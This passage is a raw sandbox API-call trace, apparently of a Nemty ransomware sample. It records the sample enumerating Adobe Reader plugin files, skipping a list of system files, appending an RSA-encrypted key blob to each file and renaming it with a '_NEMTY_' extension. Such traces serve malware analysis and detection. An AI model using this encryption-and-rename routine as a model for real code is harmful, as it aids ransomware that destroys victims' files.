Flags=0x0, Size=0xc0) returned 0x63401b8 [0191.665] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0191.665] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63400f0 [0191.665] Sleep (dwMilliseconds=0x5) [0191.675] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x25e4e350, dwHighDateTime=0x1d561e8)) [0191.675] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x25e4e350, dwHighDateTime=0x1d561e8)) [0191.675] GetLastError () returned 0x0 [0191.675] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0191.675] GetLastError () returned 0x0 [0191.675] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0191.675] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0191.675] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0191.675] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0191.675] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0191.675] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0191.675] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0191.676] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e29c | out: pszString="yFaYHXwTpwOWEcT+K1TJdnZy1rkazMKI8fZPQ2CavETw+GFapiM1YfxY5pkmga3i\r\nElmKWheUCbsN4UCCdW6DlqOCtUxThQFUotUAGikYvH4XVjPq/PqnzAotQnQ3L2c8\r\nCfl4k2TudzjMaTrRbKjoCiUco+qLRIO7lkBgaozRHwzQgV1UxLVTud00u/EoLTVu\r\nG9KwHqTZLNmyMuoYnSN52sMN1KfX/S7gMmeKcZ7dwvXom19s9VrcczZvcnYOWVEP\r\nligabsMzCdTsJaaW6HCFc+LpIBOVmF9wMZTRJ7FFkpgn1iV3e0CYuyxUatL/323f\r\niQyu6hZmE1V+jJl5MSvQrw==\r\n", pcchString=0x653e29c) returned 1 [0191.676] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0191.676] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0191.676] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0191.676] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0191.676] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0191.676] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0191.676] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.mpp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\windowsmedia.mpp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0191.676] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=218112) returned 1 [0191.676] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0191.676] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.676] ReadFile (in: hFile=0x2f0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e4e4*=0x19000, lpOverlapped=0x0) returned 1 [0191.686] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.686] WriteFile (in: hFile=0x2f0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e4dc*=0x19000, lpOverlapped=0x0) returned 1 [0191.686] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0191.686] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=218112, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x35400 [0191.686] WriteFile (in: hFile=0x2f0, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0191.686] CloseHandle (hObject=0x2f0) returned 1 [0191.686] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340280 [0191.686] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0191.686] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0191.686] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0191.686] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0191.686] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0191.686] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340348 [0191.686] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6340410 [0191.687] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340348 | out: hHeap=0x4f90000) returned 1 [0191.687] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0191.687] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.mpp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\windowsmedia.mpp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.mpp._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\windowsmedia.mpp._nemty_kgobjgd_")) returned 1 [0191.687] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340410 | out: hHeap=0x4f90000) returned 1 [0191.687] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340280 | out: hHeap=0x4f90000) returned 1 [0191.687] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0191.687] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0191.687] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0191.687] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0191.687] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0191.687] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0191.687] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0191.687] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.687] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6d7160, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="WindowsMedia.NLD", cAlternateFileName="WINDOW~1.NLD")) returned 1 [0191.687] lstrcmpiW (lpString1="WindowsMedia.NLD", lpString2=".") returned 1 [0191.688] lstrcmpiW (lpString1="WindowsMedia.NLD", lpString2="..") returned 1 [0191.688] lstrcmpiW (lpString1="WindowsMedia.NLD", lpString2="...") returned 1 [0191.688] lstrcmpiW (lpString1="WindowsMedia.NLD", lpString2="windows") returned 1 [0191.688] lstrcmpiW (lpString1="WindowsMedia.NLD", lpString2="$RECYCLE.BIN") returned 1 [0191.688] lstrcmpiW (lpString1="WindowsMedia.NLD", lpString2="rsa") returned 1 [0191.688] lstrcmpiW (lpString1="WindowsMedia.NLD", lpString2="NTDETECT.COM") returned 1 [0191.688] lstrcmpiW (lpString1="WindowsMedia.NLD", lpString2="ntldr") returned 1 [0191.688] lstrcmpiW (lpString1="WindowsMedia.NLD", lpString2="MSDOS.SYS") returned 1 [0191.688] lstrcmpiW (lpString1="WindowsMedia.NLD", lpString2="IO.SYS") returned 1 [0191.688] lstrcmpiW (lpString1="WindowsMedia.NLD", lpString2="boot.ini") returned 1 [0191.688] lstrcmpiW (lpString1="WindowsMedia.NLD", lpString2="boot.ini") returned 1 [0191.688] lstrcmpiW (lpString1="WindowsMedia.NLD", lpString2="AUTOEXEC.BAT") returned 1 [0191.688] lstrcmpiW (lpString1="WindowsMedia.NLD", lpString2="ntuser.dat") returned 1 [0191.688] lstrcmpiW (lpString1="WindowsMedia.NLD", lpString2="desktop.ini") returned 1 [0191.688] lstrcmpiW (lpString1="WindowsMedia.NLD", lpString2="CONFIG.SYS") returned 1 [0191.688] lstrcmpiW (lpString1="WindowsMedia.NLD", lpString2="RECYCLER") returned 1 [0191.688] lstrcmpiW (lpString1="WindowsMedia.NLD", lpString2="BOOTSECT.BAK") returned 1 [0191.688] lstrcmpiW (lpString1="WindowsMedia.NLD", lpString2="bootmgr") returned 1 [0191.688] lstrcmpiW (lpString1="WindowsMedia.NLD", lpString2="programdata") returned 1 [0191.688] lstrcmpiW (lpString1="WindowsMedia.NLD", lpString2="appdata") returned 1 [0191.688] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0191.688] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.NLD", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0191.688] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.688] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.NLD", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.NLD", lpUsedDefaultChar=0x0) returned 16 [0191.688] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.688] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0191.688] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.NLD", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0191.688] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.688] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.NLD", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.NLD", lpUsedDefaultChar=0x0) returned 16 [0191.688] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.688] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0191.688] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0191.689] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0191.689] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.NLD", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0191.689] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.689] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.NLD", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.NLD", lpUsedDefaultChar=0x0) returned 16 [0191.689] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0191.689] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0191.689] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.NLD", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0191.689] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0191.689] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.NLD", cchWideChar=16, lpMultiByteStr=0x4f9ed08, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.NLD", lpUsedDefaultChar=0x0) returned 16 [0191.689] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0191.689] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63400f0 [0191.689] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0191.689] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63401b8 [0191.689] Sleep (dwMilliseconds=0x5) [0191.691] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x25e744b0, dwHighDateTime=0x1d561e8)) [0191.691] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x25e744b0, dwHighDateTime=0x1d561e8)) [0191.691] GetLastError () returned 0x0 [0191.691] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0191.691] GetLastError () returned 0x0 [0191.691] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0191.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0191.691] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0191.691] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0191.691] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0191.691] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0191.691] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0191.691] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e29c | out: pszString="4NH8YFjwRpB1oYuIuhS9dx9VCE/VoWylLLXLI6KRxogGPwJNYauEoHDahW1/oKI1\r\n9I0ISnvg5B+7iG7cEm+bZNnt2RSbAO9Hn57Knd4r6K5MHuW/eRxaqDBckuiIiu5g\r\nLbQRgNyLnJoTi+q4SMFvcvLWE9wrIcfHaO16RorolF/JftErtMPIqQ4uezFT660A\r\ngAgsS48047zl4uuA54s4uQS20ys9Z+wgd6VwuXZQVZWQGSmUnfM5Nltrhz8Nd0x4\r\n8NCDiJrHo4qRJnVfzQ97Zp5sDRXBRiUilkzu6KXP7pb7/YulNMtXmxB+zqoJk+bw\r\nwcnAJ02wxL0mxU+dbVBVlQ==\r\n", pcchString=0x653e29c) returned 1 [0191.691] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0191.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0191.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0191.691] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0191.691] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0191.691] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0191.691] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\windowsmedia.nld"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0191.692] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=2560) returned 1 [0191.692] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa00) returned 0x634ad48 [0191.692] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.692] ReadFile (in: hFile=0x2f0, lpBuffer=0x634ad48, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesRead=0x653e4e4*=0xa00, lpOverlapped=0x0) returned 1 [0191.693] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.694] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e4dc*=0xa00, lpOverlapped=0x0) returned 1 [0191.694] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0191.694] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=2560, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa00 [0191.694] WriteFile (in: hFile=0x2f0, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0191.694] CloseHandle (hObject=0x2f0) returned 1 [0191.694] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340280 [0191.694] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0191.694] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0191.694] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0191.694] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0191.694] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0191.694] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340348 [0191.694] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6340410 [0191.694] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340348 | out: hHeap=0x4f90000) returned 1 [0191.694] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0191.694] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\windowsmedia.nld"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.NLD._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\windowsmedia.nld._nemty_kgobjgd_")) returned 1 [0191.695] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340410 | out: hHeap=0x4f90000) returned 1 [0191.695] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340280 | out: hHeap=0x4f90000) returned 1 [0191.695] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0191.695] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0191.695] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0191.695] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0191.695] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0191.695] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0191.695] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0191.695] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.695] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d76f6e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="WindowsMedia.NOR", cAlternateFileName="WINDOW~1.NOR")) returned 1 [0191.695] lstrcmpiW (lpString1="WindowsMedia.NOR", lpString2=".") returned 1 [0191.695] lstrcmpiW (lpString1="WindowsMedia.NOR", lpString2="..") returned 1 [0191.695] lstrcmpiW (lpString1="WindowsMedia.NOR", lpString2="...") returned 1 [0191.695] lstrcmpiW (lpString1="WindowsMedia.NOR", lpString2="windows") returned 1 [0191.695] lstrcmpiW (lpString1="WindowsMedia.NOR", lpString2="$RECYCLE.BIN") returned 1 [0191.695] lstrcmpiW (lpString1="WindowsMedia.NOR", lpString2="rsa") returned 1 [0191.695] lstrcmpiW (lpString1="WindowsMedia.NOR", lpString2="NTDETECT.COM") returned 1 [0191.695] lstrcmpiW (lpString1="WindowsMedia.NOR", lpString2="ntldr") returned 1 [0191.695] lstrcmpiW (lpString1="WindowsMedia.NOR", lpString2="MSDOS.SYS") returned 1 [0191.695] lstrcmpiW (lpString1="WindowsMedia.NOR", lpString2="IO.SYS") returned 1 [0191.695] lstrcmpiW (lpString1="WindowsMedia.NOR", lpString2="boot.ini") returned 1 [0191.695] lstrcmpiW (lpString1="WindowsMedia.NOR", lpString2="boot.ini") returned 1 [0191.695] lstrcmpiW (lpString1="WindowsMedia.NOR", lpString2="AUTOEXEC.BAT") returned 1 [0191.695] lstrcmpiW (lpString1="WindowsMedia.NOR", lpString2="ntuser.dat") returned 1 [0191.695] lstrcmpiW (lpString1="WindowsMedia.NOR", lpString2="desktop.ini") returned 1 [0191.695] lstrcmpiW (lpString1="WindowsMedia.NOR", lpString2="CONFIG.SYS") returned 1 [0191.696] lstrcmpiW (lpString1="WindowsMedia.NOR", lpString2="RECYCLER") returned 1 [0191.696] lstrcmpiW (lpString1="WindowsMedia.NOR", lpString2="BOOTSECT.BAK") returned 1 [0191.696] lstrcmpiW (lpString1="WindowsMedia.NOR", lpString2="bootmgr") returned 1 [0191.696] lstrcmpiW (lpString1="WindowsMedia.NOR", lpString2="programdata") returned 1 [0191.696] lstrcmpiW (lpString1="WindowsMedia.NOR", lpString2="appdata") returned 1 [0191.696] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0191.696] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.NOR", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0191.696] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.696] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.NOR", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, 